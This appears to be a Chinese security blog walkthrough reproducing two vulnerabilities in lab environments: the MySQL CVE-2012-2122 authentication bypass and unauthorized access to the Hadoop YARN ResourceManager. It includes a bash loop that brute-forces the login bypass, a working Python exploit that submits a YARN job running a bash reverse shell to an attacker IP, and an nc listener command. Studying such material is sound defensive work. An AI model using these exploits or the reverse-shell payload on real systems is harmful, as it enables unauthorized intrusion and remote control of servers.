数据库漏洞(未授权访问+RCE)-Mysql+Hadoop

什么是服务?

在服务器操作系统安装的时候,会装了比较多的服务。如我们在安装使用mysq数据库时,默认情况下就会开启mysql服务和服务默认端口3306。这些服务就可能产生漏洞。

服务漏洞测试流程:

案例演示:Mysql-未授权访问-CVE-2012-2122利用

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

漏洞产生:

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

打开vulhub靶场的CVE-2012-2122漏洞环境

漏洞测试:

扫描端口,发现开启了3306端口

猜测可能存在Mysql 身份认证绕过漏洞,于是尝试复现漏洞

攻击者执行连接mysql命令:for i in `seq 1 1000`; do mysql -uroot -pwrong -h 目标ip -P3306 ; done  尝试不断连接目标mysql

经过多次连接成功绕过身份验证,不知道密码依然连接成功

案例演示:Hadoop-未授权访问-内置配合命令执行RCE

使用在线靶场vulfocus复现:https://vulfocus.cn

启动漏洞环境,访问漏洞地址http://123.58.224.8:32561 即可看到Hadoop YARN ResourceManager WebUI页面

漏洞存在判断:

访问/cluster/apps ,如果能成功访问说明漏洞存在

漏洞利用:反弹shell

浏览器搜索漏洞利用exp:

​

#python exp:

#!/usr/bin/env python

import requests

target = 'http://192.168.241.142:35641/'   #目标地址

lhost = '43.134.241.193' # put your local host ip here, and listen at port 9999.接收shell的攻击机ip

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

    'application-id': app_id,

    'application-name': 'get-shell',

    'am-container-spec': {

        'commands': {

            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

        },

    },

    'application-type': 'YARN',

}

requests.post(url, json=data)
​

攻击机Centos服务器打开 nc 监听端口9999

命令:nc -nvlp 9999

运行脚本,获取shell

执行完脚本之后,查看攻击机,发现成功反弹shell

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值